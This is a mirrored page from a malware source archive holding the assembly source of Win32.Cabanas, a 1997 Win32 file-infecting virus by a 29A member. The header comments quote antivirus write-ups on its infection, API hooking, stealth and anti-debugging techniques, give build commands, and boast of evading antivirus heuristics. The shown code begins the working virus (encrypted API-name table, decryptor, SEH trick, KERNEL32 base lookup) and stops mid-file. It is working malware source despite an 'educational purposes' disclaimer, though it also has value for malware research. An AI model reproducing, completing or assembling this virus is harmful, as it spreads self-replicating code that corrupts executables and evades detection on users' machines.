mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
2639 lines
114 KiB
NASM
2639 lines
114 KiB
NASM
;
|
||
; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
|
||
; Win32.Cabanas.2999 ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
|
||
; by Jacky Qwerty/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
|
||
; ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
|
||
; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
|
||
;
|
||
; I'm very proud to introduce the first "resident" WinNT/Win95/Win32s virus.
|
||
; Not only it's the first virus stayin resident on NT, but is also the first
|
||
; with stealth, antidebuggin and antiheuristic capabilitiez. In short wordz,
|
||
; this babe is a "per process" memory resident, size stealth virus infecting
|
||
; Portable Executable filez on every existin Win32-based system. Those who
|
||
; dont know what a "per process" resident virus is, it means a virus staying
|
||
; resident inside the host Win32 aplication's private space, monitoring file
|
||
; activity and infectin PE filez opened or accesed by such Win32 aplication.
|
||
;
|
||
; The purpose of this virus is to prove new residency techniquez that can be
|
||
; exploited from genuine Win32 infectorz, without all the trouble of writing
|
||
; especific driverz for Win95 (VxDs), and WinNT. A genuine Win32 infector is
|
||
; a virus bein able to work unmodified across all Win32 platformz available:
|
||
; Win95, WinNT and any other future platform suportin the Win32 API interfa-
|
||
; ce. So far only Win95 especific virusez have been found, not Win32 genuine
|
||
; onez. Make sure to read the complete description about Win32.Cabanas writ-
|
||
; ten by P‚ter Sz”r, available at http://www.avp.ch/avpve/newexe/win32/caba-
|
||
; nas.stm. U can also read description by Igor Daniloff from Dr.Web, availa-
|
||
; ble at http://www.dials.ccas.ru/inf/cabanas.htm as well.
|
||
;
|
||
; After readin P‚ter Sz”r's description about Win32.Cabanas, i realized he'd
|
||
; really made a very serious profesional work. So good that he didnt seem to
|
||
; miss any internail detail in the virus, as if he had actually writen the
|
||
; bug himself or as if he was actually me, hehe. Obviosly, none of the prior
|
||
; onez are true. But, nevertheless, i think it's worth to take his work into
|
||
; account even from the VX side of the fence. Really i dunno what's left for
|
||
; me to say after such description, so i will simply add my own personal co-
|
||
; mentz to P‚ter's log. Erm.. btw why dont u join us? heh >8P
|
||
;
|
||
;
|
||
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
|
||
; 1. Technical Description
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; Win32.Cabanas is the first known 32-bit virus that works under Windows NT
|
||
; Server, Windows NT workstation, Windows 95 and Windows 3.x extended with
|
||
; Win32s sub-system. It was found in late 1997.
|
||
;
|
||
; Win32.Cabanas is a per-process memory resident, fast infecting, antidebug-
|
||
; ged, partially packed/encrypted, anti-heuristic, semi-stealth virus. The
|
||
; "Win32" prefix is not misleading, as the virus is also able to spread in
|
||
; all Win32 based systems: Windows NT, Windows 95 and Win32s. The author of
|
||
; the virus is a member of the 29A group, the same young virus writer who
|
||
; wrote the infamous CAP.A virus.
|
||
;
|
||
;
|
||
; 1.1. Running an infected PE file
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; When a Win32.Cabanas infected file is executed, the execution will start
|
||
; at the original host entry point. Surprisingly, Cabanas does not touch
|
||
; the entry point field in the Image File Header. Instead it patches the
|
||
; host program at its entry point. Five bytes at the entry point is replaced
|
||
; with a FAR JMP to the address where the original program ended. This can
|
||
; be considered as an anti-heuristic feature, as the host entry point value
|
||
; in the PE header keeps pointing inside the code section, possibly turning
|
||
; off some heuristic flags.
|
||
;
|
||
; Thus the first JMP points to the real entry point. The first function in
|
||
; Cabanas unpacks and decrypts a string table which consists of Win32 KERNEL
|
||
; API names. The unpack mechanism is simple but effective enough. Cabanas is
|
||
; also an armored virus. It uses "Structured Exception Handling" (typically
|
||
; abbreviated as "SEH") as an anti-debug trick. This prevents debugging from
|
||
; any application-level debugger, such as TD32.
|
||
;
|
||
; When the unpack/decryptor function is ready, the virus calls a routine to
|
||
; get the original Base Address of KERNEL32.DLL. During infection time, the
|
||
; virus searches for GetModuleHandleA and GetModuleHandleW API in the Import
|
||
; Table, respectively. When it finds them, it saves a pointer to the actual
|
||
; DWORD in the .idata list. Since the loader puts the addresses to this
|
||
; table before it executes the virus, Cabanas gets them easily.
|
||
;
|
||
; If the application does not have a GetModuleHandleA / GetModuleHandleW API
|
||
; import, the virus uses a third undocumented way to get the Base Address of
|
||
; KERNEL32.DLL by getting it from the ForwarderChain field in the KERNEL32
|
||
; import. Actually this will not work under Windows NT, but on Win95 only.
|
||
; When the virus has the Base Address/Module Handle of KERNEL32.DLL, it
|
||
; calls its own routine to get the address of GetProcAddress function. The
|
||
; first method is based on the search of the Import Table during infection
|
||
; time. The virus saves a pointer to the .idata section whenever it finds a
|
||
; GetProcAddress import in the host. In most cases Win32 applications import
|
||
; the GetProcAddress API, thus the virus should not use a secondary routine
|
||
; to get the same result. If the first method fails, the virus calls another
|
||
; function which is able to search for GetProcAddress export in KERNEL32.
|
||
; Such function could be called as GetProcAddress-From-ExportsTable. This
|
||
; function is able to search in KERNEL32's Exports Table and find the
|
||
; address of GetProcAddress API.
|
||
;
|
||
; This function is one of the most important ones from the virus point of
|
||
; view and it is compatible with all Win32 based systems. If the entry point
|
||
; of GetProcAddress was returned by the GetProcAddress-From-ExportsTable
|
||
; function, the virus saves this address and use it later on. Otherwise, the
|
||
; GetProcAddress-From-ExportsTable function will be used several times. This
|
||
; function is also saved with "Structured Exception Handling" to avoid from
|
||
; possible exceptions. After this, the virus gets all the API addresses it
|
||
; wants to use in a loop. When the addresses are available, Cabanas is ready
|
||
; to replicate and call its direct action infection routine.
|
||
;
|
||
;
|
||
; 1.2. Direct action infection
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; The direct action infection part is surprisingly fast. Even though the
|
||
; virus goes through all the files in Windows directory, Windows System
|
||
; directory and in the current directory respectively, the file infection
|
||
; is fast enough to go unnoticed in much systems. This is because the virus
|
||
; works with "memory mapped files", a new feature implemented in Win32 based
|
||
; systems which simplifies file handling and increases system performance.
|
||
;
|
||
; First the virus gets the name of Windows directory, then it gets the name
|
||
; of Windows System directory and calls the function which searches for non-
|
||
; infected executable images. It searches for non directory entries and
|
||
; check the size of the files it found.
|
||
;
|
||
; Files with size dividable by 101 without reminder are assumed to be
|
||
; infected. Other files which are too huge will not be infected either.
|
||
; After this, the virus checks the file extension, if it matches EXE or
|
||
; SCR (screen saver files), the virus opens and maps the file. If the file
|
||
; is considered too short, the file is closed. Then it checks the`MZ' marker
|
||
; at the beginning of the image. Next it positions to the possible `PE'
|
||
; header area and checks the `PE' signature. It also checks that the
|
||
; executable was made to run on 386+ machines and looks for the type of
|
||
; the file. DLL files are not infected.
|
||
;
|
||
; After this, the virus calculates a special checksum which uses the
|
||
; checksum field of PE files Optional Header and the file-stamp field of
|
||
; the Image File Header. If the file seems to be infected the virus closes
|
||
; the file. If not, the file is chosen for infection. Cabanas then closes
|
||
; the file, blanks the file attribute of the file with SetFileAttributeA API
|
||
; and saves the original attributes for later use. This means the virus is
|
||
; not stopped by the "Read Only" attribute. Then again, it opens and maps
|
||
; the possible host file in read/write mode.
|
||
;
|
||
; Next it searches for the GetModuleHandleA, GetModuleHandleW and
|
||
; GetProcAddress API imports in the host Import Table and calculates
|
||
; pointers to the .idata section. Then it calls the routine which
|
||
; patches the virus image into the file.
|
||
;
|
||
; This routine first checks that the .idata section has MEM_WRITE
|
||
; characteristics. If not it sets this flag on the section, but only if
|
||
; this section is not located in an executable area. This prevents the
|
||
; virus from turning on suspicious flags on the code section, triggered
|
||
; by some heuristic scanner.
|
||
;
|
||
; Then it goes to the entry point of the image and replaces five bytes
|
||
; with a FAR JMP instruction which will point to the original end of the
|
||
; host. After that it checks the relocation table. This is because some
|
||
; relocations may overwrite the FAR JMP at the entry point. If the
|
||
; relocation table size is not zero the virus calls a special routine
|
||
; to search for such relocation entries in the .reloc area. It clears
|
||
; the relocation type on the relocation record if it points into the FAR
|
||
; JMP area, thus this relocation will not take into account by the loader.
|
||
; The routine also marks the relocation, thus Cabanas will be able to
|
||
; relocate the host later on. Then it crypts all the information which has
|
||
; to be encrypted in the virus body. Including the table which holds the
|
||
; original 5 bytes from the entry point and its location.
|
||
;
|
||
; Next the virus calculates the special checksum for self checking purposes
|
||
; and saves this to the time stamp field of the PE header. When everything
|
||
; is ready, the virus calculates the full new size of the file and makes
|
||
; this value dividable by 101. The real virus code is around 3000 bytes
|
||
; only but the files will grow with more bytes, because of this. Cabanas
|
||
; has a very important trick here. The virus does not create a new section
|
||
; header to hold its code, but patches the last section header in the file
|
||
; (usually .reloc) to grow the section body large enough to store the virus
|
||
; code. This makes the infection less risky and less noticeable.
|
||
;
|
||
; Then the virus changes the SizeOfImage field in the PE header to reflect
|
||
; the changes made to the last section in the file, then unmaps and closes
|
||
; the file. Next it truncates the file at the previously calculated size
|
||
; and restores the original time and date stamp. Finally Cabanas resets the
|
||
; original attribute of the file. When all the possible files have been
|
||
; checked for infection, Cabanas is ready to go memory resident.
|
||
;
|
||
;
|
||
; 1.3. Rebuild the host, Hook API functions and Go memory resident
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; The next phase is to rebuild the host program. The virus locates an
|
||
; internal parameter block which consists of the previously encrypted code
|
||
; from the host (5 bytes) and writes back the 5 original bytes at the entry
|
||
; point. After this, it relocates the code area if needed, by searching in
|
||
; the .reloc section for marked relocation entries. Next the virus hooks
|
||
; API functions and goes memory resident.
|
||
;
|
||
; The API hooking technique is based on the manipulation of the Import
|
||
; Table. Since the host program holds the addresses of imported functions
|
||
; in its .idata section, all the virus has to do is to replace those
|
||
; addresses to point to its own API handlers.
|
||
;
|
||
; To make those calculations easy, the virus opens and maps the infected
|
||
; program. Then it allocates memory for its per-process part. The virus
|
||
; allocates a 12232 bytes block and copies itself into this new allocated
|
||
; area. Then it searches for all the possible function names it wants to
|
||
; hook: GetProcAddress, GetFileAttributesA, GetFileAttributesW, MoveFileExA,
|
||
; MoveFileExW, _lopen, CopyFileA, CopyFileW, OpenFile, MoveFileA, MoveFileW,
|
||
; CreateProcessA, CreateProcessW, CreateFileA, CreateFileW, FindClose,
|
||
; FindFirstFileA, FindFirstFileW, FindNextFileA, FindNextFileW, SetFileAttrA,
|
||
; SetFileAttrW. Whenever it finds one of the latter APIs, it saves the
|
||
; original address to its own JMP table and replaces the .idata section's
|
||
; DWORD (which holds the original address of the API) with a pointer to its
|
||
; own API handlers. Finally the virus closes and unmaps the host and starts
|
||
; the application, by jumping into the original entry point in the code
|
||
; section.
|
||
;
|
||
; Some Win32 applications however may not have imports for some of these
|
||
; file related APIs, they can rather retrieve their addresses by using
|
||
; GetProcAddress and call them directly, thus the virus would be unable
|
||
; to hook this calls. Not so fast. The virus also hooks GetProcAddress
|
||
; for a special purpose. GetProcAddress is used by most applications.
|
||
; When the application calls GetProcAddress the virus new handler first
|
||
; calls the original GetProcAddress to get the address of the requested
|
||
; API. Then it checks if the Module Handle parameter is from KERNEL32 and
|
||
; if the function is one of the KERNEL32 APIs that the virus wants to hook.
|
||
; If so, the virus returns a new API address which will point into its
|
||
; NewJMPTable. Thus the application will still get an address to the virus
|
||
; new handler in such cases as well.
|
||
;
|
||
;
|
||
; 1.4. Stealth and fast infection capabilities
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; Cabanas is a semi-stealth virus: during FindFirstFileA, FindFirstFileW,
|
||
; FindNextFileA and FindNextFileW, the virus checks for already infected
|
||
; programs. If the program is not infected the virus will infect it,
|
||
; otherwise it hides the file size difference by returning the original
|
||
; size for the host program. During this, the virus can see all the file
|
||
; names the application accesses and infects every single clean file.
|
||
;
|
||
; Since the CMD.EXE (Command Interpreter of Windows NT) is using the above
|
||
; APIs during a DIR command, every non infected file will be infected (if
|
||
; the CMD.EXE was infected previously by Win32.Cabanas). The virus will
|
||
; infect files during every other hooked API request as well.
|
||
;
|
||
; Apart from the encrypted API names strings, the virus also contains the
|
||
; following copyright message:
|
||
;
|
||
; (c) Win32.Cabanas v1.0 by jqwerty/29A.
|
||
;
|
||
;
|
||
; 1.5. Conclusion
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; Win32.Cabanas is a very complex virus with several features new in Win32
|
||
; based systems. It shows quite interesting techniques that can be used in
|
||
; the near future. It demonstrates that a Windows NT virus should not have
|
||
; any Windows 95 or Windows NT especific functionality in order to work on
|
||
; any Win32 system. The "per-process" residency technique also shows a
|
||
; portable viable solution to avoid known compatibility issues between
|
||
; Windows 95 and Windows NT respecting their low level resident driver
|
||
; implementations. Virus writers can use these techniques and their
|
||
; knowledge they have had on Windows 95 to come to a more robust platform.
|
||
; So far Win32.Cabanas has made this first step.
|
||
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
|
||
;
|
||
;
|
||
; 2. Shortcutz
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; (*) http://www.dials.ccas.ru/inf/cabanas.htm
|
||
;
|
||
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
|
||
; Win32.Cabanas: A brief description
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; Igor A. Daniloff
|
||
;
|
||
; Win32.Cabanas is the first known virus that infects files under Microsoft
|
||
; 32-bit Windows operating systems (Win32s/Windows 95/Windows NT). Not only
|
||
; is it capable of infecting PortableExecutable files, but also remains
|
||
; resident in the current session of an infected program in all these
|
||
; Windows systems.
|
||
;
|
||
; The viruses specifically designed for Windows 95 thus far could not
|
||
; properly infect files in Windows NT. Although files of Windows 95 and
|
||
; Windows NT have identical PE format, certain fields in their PE headers
|
||
; are different. Therefore, for infecting files under Windows NT, the PE
|
||
; header must be modified appropriately; otherwise Windows NT would display
|
||
; an error message in the course of loading the file. Furthermore, viruses
|
||
; encounter certain problems in determining the base addresses of WIN32
|
||
; KERNEL API in the memory, because KERNEL32.DLL in Windows 95 and Windows
|
||
; NT are located at different memory addresses. But Win32.Cabanas smartly
|
||
; handles these problems. On starting an infected file, the virus gets
|
||
; control, unpacks and decrypts its table of names of WIN32 KERNEL API
|
||
; procedures that are needed in the sequel, and then determines the base
|
||
; address of KERNEL32.DLL and the addresses of all necessary WIN32 KERNEL
|
||
; API functions.
|
||
;
|
||
; While infecting a file, Win32.Cabanas finds the names of GetModuleHandleA,
|
||
; GetModuleHandleW, and GetProcAddress functions from the Import Table and
|
||
; stores in its code the offsets of the addresses of these procedures in the
|
||
; Import Table (in the segment .idata, as a rule). If the names of these
|
||
; procedures are not detectable, Win32.Cabanas uses a different undocumented
|
||
; method of finding the base address of KERNEL32 and the addresses of WIN32
|
||
; KERNEL API. But there is a bug in this undocumented method; therefore the
|
||
; method is inoperative under Windows NT. If the addresses of
|
||
; GetModuleHandleA or GetModuleHandleW functions are available in the Import
|
||
; Table of the infected file, the virus easily determines the WIN32 KERNEL
|
||
; API addresses through the GetProcAddress procedure. If the addresses are
|
||
; not available in the Import Table, the virus craftily finds the address of
|
||
; GetProcAddress from the Export Table of KERNEL32. As already mentioned,
|
||
; this virus mechanism is not operative under Windows NT due to a bug, and,
|
||
; as a consequence, the normal "activity" of the virus is disabled. This is
|
||
; the only serious bug that prevents the proliferation of Win32.Cabanas
|
||
; under Windows NT. On the contrary, in Windows 95 the virus "feels
|
||
; completely at home" and straightforwardly (even in the absence of the
|
||
; addresses of GetModuleHandleA or GetModuleHandleW) determines the base
|
||
; address of KERNEL32.DLL and GetProcAddress via an undocumented method.
|
||
;
|
||
; Using the GetProcAddress function, Win32.Cabanas can easily get the
|
||
; address of any WIN32 KERNEL API procedure that it needs. This is precisely
|
||
; what the virus does: it gets the addresses and stores them.
|
||
;
|
||
; Then Win32.Cabanas initiates its engine for infecting EXE and SCR PE-files
|
||
; in \WINDOWS, \WINDOWS\SYSTEM, and the current folder. Prior to infecting a
|
||
; file, the virus checks for a copy of its code through certain fields in
|
||
; the PE header and by the file size, which for an infected must be a
|
||
; multiple of 101. As already mentioned, the virus searches for the names of
|
||
; GetModuleHandleA, GetModuleHandleW or GetProcAddress in the Import Table
|
||
; and saves the references to their addresses. Then it appends its code at
|
||
; the file end in the last segment section (usually, .reloc) after modifying
|
||
; the characteristics and size of this section. Thereafter, the virus
|
||
; replaces the five initial bytes of the original entry point of the code
|
||
; section (usually, .text or CODE) by a command for transferring control to
|
||
; the virus code in the last segment section (.reloc). For this purpose, the
|
||
; virus examines the relocation table (.reloc) for finding some element in
|
||
; the region of bytes that the virus had modified. If any, the virus
|
||
; "disables" the reference and stores its address and value for restoring
|
||
; the initial bytes of the entry point at the time of transfer of control
|
||
; to the host program and, if necessary, for appropriately configuring the
|
||
; relocation.
|
||
;
|
||
; After infecting all files that yield to infection in \WINDOWS, \WINDOWS\
|
||
; SYSTEM, and in the current folder, the virus plants a resident copy into
|
||
; the system and "intercepts" the necessary system functions. Using
|
||
; VirtualAlloc, the virus allots for itself 12232 bytes in the memory and
|
||
; plants its code there. Then it tries to "intercept" the following WIN32
|
||
; KERNEL API functions: GetProcAddress, GetFileAttributesA,
|
||
; GetFileAttributesW, MoveFileExA, MoveFileExW, _loopen, CopyFileA,
|
||
; CopyFileW, OpenFile, MoveFileA, MoveFileW, CreateProcessA, CreateProcessW,
|
||
; CreateFileA, CreateFileW, FindClose, FindFirstFileA, FindFirstFileW,
|
||
; FindNextFileA, FindNextFileW, SetFileAttrA, and SetFileAttrW. The virus
|
||
; "picks up" the addresses of these functions from the Import Table, and
|
||
; writes the addresses of its handlers in the Import Table. On failing to
|
||
; "intercept" certain necessary functions, the virus, when the host program
|
||
; calls for the GetProcAddress function, verifies whether this function is
|
||
; necessary for the host program, and returns the address of the virus
|
||
; procedure to host program if necessary. When a program calls for certain
|
||
; functions that have been "intercepted" by Win32.Cabanas, the file
|
||
; infection engine and/or the stealth mechanism are\is initialized. Thus,
|
||
; when FindFirstFileA, FindFirstFileW, and FindNextFileA or FindNextFileW
|
||
; functions are called, the virus may infect the file which is being
|
||
; searched and hide the increase in the infected file size.
|
||
;
|
||
; Win32.Cabanas cannot be regarded as a "true resident" virus, because it
|
||
; "intercepts" system functions and installs its copy in a specific memory
|
||
; area only in the current session of an infected program. But what will
|
||
; happen on starting, for example, an infected Norton Commander for Windows
|
||
; 95 or Command Interpreter for Windows NT? Or a resident program? Indeed,
|
||
; Win32.Cabanas will also "work hard" side by side with such a program until
|
||
; it is terminated.
|
||
;
|
||
; Win32.Cabanas contains an encrypted text string
|
||
; "(c) Win32.Cabanas v1.0 by jqwerty/29A"
|
||
;
|
||
; (c) 1997 DialogueScience, Inc., Moscow, Russia. All rights reserved.
|
||
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
|
||
;
|
||
;
|
||
; 3. Main featurez
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; * Platformz: WindowsNT, Windows95, Win32s, i.e. all Win32 platformz.
|
||
; * Residency: Yes, "Per Process", workin on all Win32 systemz.
|
||
; * Non-Residency: Yes, direct action, infects PEz before goin resident.
|
||
; * Stealth: Yes, size stealth of inf.filez (F-Potatoe95 fooled).
|
||
; * AntiDebuging: Yes, TD32 or any other "aplication" level debuger
|
||
; generates an exception when debugin an infected
|
||
; aplication. This obviosly doesnt aply for Soft-ICE
|
||
; for Windows95, a big monster.
|
||
; * AntiHeuristicz: Yes, inf.filez have no obvious symptomz of infection.
|
||
; Other Win95 virusez tend to "mark" the PE header so
|
||
; they are easily noticeable. See: Other featurez (e).
|
||
; * AntiAntivirus: Yes, disinfection of inf.filez is almost *imposible*.
|
||
; * Fast infection: Yes, filez are infected when accesed for any reason.
|
||
; * Polymorphism: No, the poly engine was stripped and removed on purpose.
|
||
; * Other featurez:
|
||
; (a) The EntryPoint field in the PE hdr is not modified.
|
||
; (b) Win32 file API functionz are hooked for infection and
|
||
; stealth purposez but also for platform compatibility.
|
||
; (c) Use of the Win32 "File-Maping" API functionz, thus
|
||
; implementin "Memory-Mapped Filez". No more "ReadFile",
|
||
; "SetFilePointer", "WriteFile"... it was about time.
|
||
; (d) Absolutely no use of absolute adressez in sake of
|
||
; compatibility with other future Win32 releasez.
|
||
; (e) The SHAPE AV program sucks, but sadly it was the best
|
||
; thing detectin PE infected filez heuristicaly. Well
|
||
; almost as it didnt triger a single flag on this one :)
|
||
; (f) Use of "Structured Exception Handling" (SEH) in those
|
||
; critical code fragmentz that could generate GP faultz,
|
||
; i.e. exceptionz are intercepted and handled properly.
|
||
; (g) Unicode suport. This babe really works in NT. No lie.
|
||
;
|
||
;
|
||
; 4. Who was Cabanas?
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; Gonzalo Cabanas used to be a daydream believer. We shared several thingz
|
||
; in comon, heard same R.E.M music style, wore the same ragged blue jeanz,
|
||
; and behaved like kidz everywhere we went together, putin tackz on the tea-
|
||
; cher's chair, stealin some classmate's lunch and so on. We even liked the
|
||
; same girlz, which explains why we sometimez ended up punchin each other's
|
||
; face from time to time. However, u could find us the next day, smoking a-
|
||
; round by the skoolyard as if nothin had ever hapened. We were the best
|
||
; friendz ever. I know this virus wont return him back to life, nor "will do
|
||
; him justice", however, i still wanted to somewhat dedicate this program in
|
||
; his honor.
|
||
;
|
||
;
|
||
; 5. Greetz
|
||
; ÄÄÄÄÄÄÄÄÄ
|
||
; The greetz go to:
|
||
;
|
||
; Gonzo Cabanas ......... Hope to see u somewhere in time.. old pal!
|
||
; Murkry ................ Whoa.. i like yer high-tech ideaz budie!
|
||
; VirusBuster/29A ....... U're the i-net man pal.. keep doin it!
|
||
; Vecna/29A ............. Keep up the good work budie.. see ya!
|
||
; l- .................... Did ya ask for some kick-ass lil' creature? X-D
|
||
; Int13 ................. Hey pal.. u're also a southamerican rocker! ;)
|
||
; Peter/F-Potatoe ....... Yer description rulez.. Mikko's envy shines!
|
||
; DV8 (H8), kdkd, etc ... Hey budiez.. now where da hell are u?
|
||
; GriYo, Sandy/29A ...... Thx for yer patience heh X-D
|
||
;
|
||
;
|
||
; 6. Disclaimer
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; This source code is for educational purposez only. The author is not res-
|
||
; ponsable for any problemz caused due to the assembly of this file.
|
||
;
|
||
;
|
||
; 7. Compiling it
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; tasm32 -ml -m5 -q -zn cabanas.asm
|
||
; tlink32 -Tpe -c -x -aa cabanas,,, import32
|
||
; pewrsec cabanas.exe
|
||
;
|
||
;
|
||
; (c) 1997 Jacky Qwerty/29A.
|
||
|
||
|
||
.386p ;generate 386+ protected mode instructionz
|
||
.model flat ;no segmentz and a full 32-bit offset.. what a dream ;)
|
||
|
||
;Some includez containin very useful structurez and constantz for Win32
|
||
|
||
include Useful.inc
|
||
include Win32API.inc
|
||
include MZ.inc
|
||
include PE.inc
|
||
|
||
;Some equ's needed by the virus
|
||
|
||
nAPIS = 1*1024 ;size of jump table holdin hooked APIz
|
||
nHANDLEZ = 2*1024 + 512 ;size of Handlez table
|
||
nPATHNAMEZ = 4*1024 + 512 ;size of PathNamez table
|
||
|
||
extrn GetModuleHandleA :proc ;APIz used durin first generation only
|
||
extrn GetProcAddress :proc
|
||
|
||
.data
|
||
db ? ;some dummy data so tlink32 dont yell
|
||
|
||
.code
|
||
|
||
;Virus code starts here
|
||
|
||
v_start:
|
||
|
||
call get_base
|
||
|
||
code_table:
|
||
|
||
dd 12345678h ;host RVA entry point
|
||
dw 1 ;number of bytez
|
||
db ? ;bytez to patch
|
||
dw 0 ;end of parameter block
|
||
|
||
code_start:
|
||
|
||
;Packed APIz needed by the virus. They will travel in packed/encrypted form
|
||
|
||
ve_stringz:
|
||
|
||
veszKernel32 db 'KERNEL32',0
|
||
veszGetModuleHandleA db 'GetModuleHandleA'
|
||
veszGetModuleHandleW db 80h,17
|
||
|
||
eExts db 'fxEtcR',0 ;list of file extensionz
|
||
|
||
veszGetProcAddress db 'GetProcAddress',0
|
||
veszGetFileAttributesA db 'Ge','t'+80h,'AttributesA'
|
||
veszGetFileAttributesW db 80h,19
|
||
veszMoveFileExA db 'Mov','e'+80h,'ExA'
|
||
veszMoveFileExW db 80h,12
|
||
vesz_lopen db '_lopen',0
|
||
veszCopyFileA db 'Cop','y'+80h,'A'
|
||
veszCopyFileW db 80h,10
|
||
veszOpenFile db 'Ope','n'+80h,0
|
||
veszMoveFileA db 'Mov','e'+80h,'A'
|
||
veszMoveFileW db 80h,10
|
||
veszCreateProcessA db 'CreateProcessA'
|
||
veszCreateProcessW db 80h,15
|
||
veszCreateFileA db 'Creat','e'+80h,'A'
|
||
veszCreateFileW db 80h,12
|
||
veszFindClose db 'FindClose',0
|
||
veszFindFirstFileA db 'FindFirs','t'+80h,'A'
|
||
veszFindFirstFileW db 80h,15
|
||
veszFindNextFileA db 'FindNex','t'+80h,'A'
|
||
veszFindNextFileW db 80h,14
|
||
veszSetFileAttributesA db 'Se','t'+80h,'AttributesA'
|
||
veszSetFileAttributesW db 80h,19
|
||
veszCloseHandle db 'CloseHandle',0
|
||
veszCreateFileMappingA db 'Creat','e'+80h,'MappingA',0
|
||
veszMapViewOfFile db 'MapViewO','f'+80h,0
|
||
veszUnmapViewOfFile db 'UnmapViewO','f'+80h,0
|
||
veszSetFilePointer db 'Se','t'+80h,'Pointer',0
|
||
veszSetEndOfFile db 'SetEndO','f'+80h,0
|
||
veszSetFileTime db 'Se','t'+80h,'Time',0
|
||
veszGetWindowsDirectory db 'GetWindowsDirectoryA',0
|
||
veszGetSystemDirectory db 'GetSystemDirectoryA',0
|
||
veszGetCurrentProcess db 'GetCurrentProcess',0
|
||
veszGetModuleFileName db 'GetModul','e'+80h,'NameA',0
|
||
veszWriteProcessMemory db 'WriteProcessMemory',0
|
||
veszWideCharToMultiByte db 'WideCharToMultiByte',0
|
||
veszVirtualAlloc db 'VirtualAlloc',0
|
||
|
||
eEndOfFunctionNamez db 0
|
||
|
||
;Copyright and versionz
|
||
|
||
eszCopyright db "(c) Win32.Cabanas v1.1 by jqwerty/29A.",0
|
||
|
||
ve_string_size = $ - ve_stringz
|
||
|
||
get_base:
|
||
|
||
mov ecx,ve_string_size ;get size of packed/encrypted stringz
|
||
mov esi,[esp] ;get pointer to packed/encrypted stringz
|
||
xor ebx,ebx
|
||
mov eax,esi
|
||
sub esi,ecx
|
||
cld
|
||
sub dword ptr [esp],code_table - seh_fn
|
||
add esi,[eax - 4]
|
||
push dword ptr fs:[ebx] ;set SEH frame.. ever seen FS in action? X-D
|
||
lea edi,[esi + pCodeTable - ve_stringz]
|
||
stosd ;save pointer to code_table
|
||
add eax,12345678h
|
||
delta_host = dword ptr $ - 4
|
||
stosd ;save actual host base adress
|
||
mov eax,esi
|
||
stosd ;save pointer to virus start
|
||
|
||
ebp_num = ddGetProcAddress + 7Fh
|
||
tmp_edi = pcode_start + 4
|
||
|
||
mov fs:[ebx],esp
|
||
pushad
|
||
xchg eax,[ebx - 2] ;go away lamerz and wannabeez..
|
||
db 2Dh
|
||
|
||
seh_rs: sub edi,tmp_edi - v_stringz ;get pointer to KERNEL32 API name
|
||
pop eax
|
||
push edi ;pass the pointer twice
|
||
push edi
|
||
|
||
decrypt_stringz: ;decrypt/unpack API namez and other stringz
|
||
|
||
lodsb
|
||
rol al,cl
|
||
xor al,0B5h
|
||
jns d_stor
|
||
add al,-80h
|
||
jnz d_file
|
||
stosb ;expand/unpack unicode API name
|
||
xor eax,eax
|
||
lodsb
|
||
push esi
|
||
xchg ecx,eax
|
||
mov esi,edx
|
||
rep movsb
|
||
xchg ecx,eax
|
||
sub byte ptr [edi - 2],'A'-'W'
|
||
pop esi
|
||
jmp d_updt
|
||
d_file: stosb
|
||
xor eax,eax
|
||
sub eax,-'eliF' ;expand to 'File' where aplies
|
||
stosd
|
||
cmp al,?
|
||
org $ - 1
|
||
d_stor: stosb
|
||
jnz d_loop
|
||
d_updt: mov edx,edi
|
||
d_loop: loop decrypt_stringz ;get next character
|
||
|
||
call MyGetModuleHandleA ;get KERNEL32 base adress (first try)
|
||
pop esi
|
||
jnz gotK32 ;jump if found
|
||
sub ecx,ecx
|
||
xor eax,eax
|
||
mov cl,9
|
||
push edi
|
||
cld
|
||
|
||
copy_K32W: ;make unicode string for KERNEL32
|
||
|
||
lodsb
|
||
stosw
|
||
loop copy_K32W
|
||
call MyGetModuleHandleW ;get KERNEL32 base adress (second try)
|
||
jnz gotK32 ;jump if found
|
||
call MyGetModuleHandleX ;get KERNEL32 base adress (third try)
|
||
jnz gotK32 ;jump if found
|
||
|
||
quit_app:
|
||
|
||
pop eax ;shit.. KERNEL32 base adress not found
|
||
ret ;try to quit aplication via an undocumented way
|
||
|
||
db 67h ;some prefix to confuse lamerz
|
||
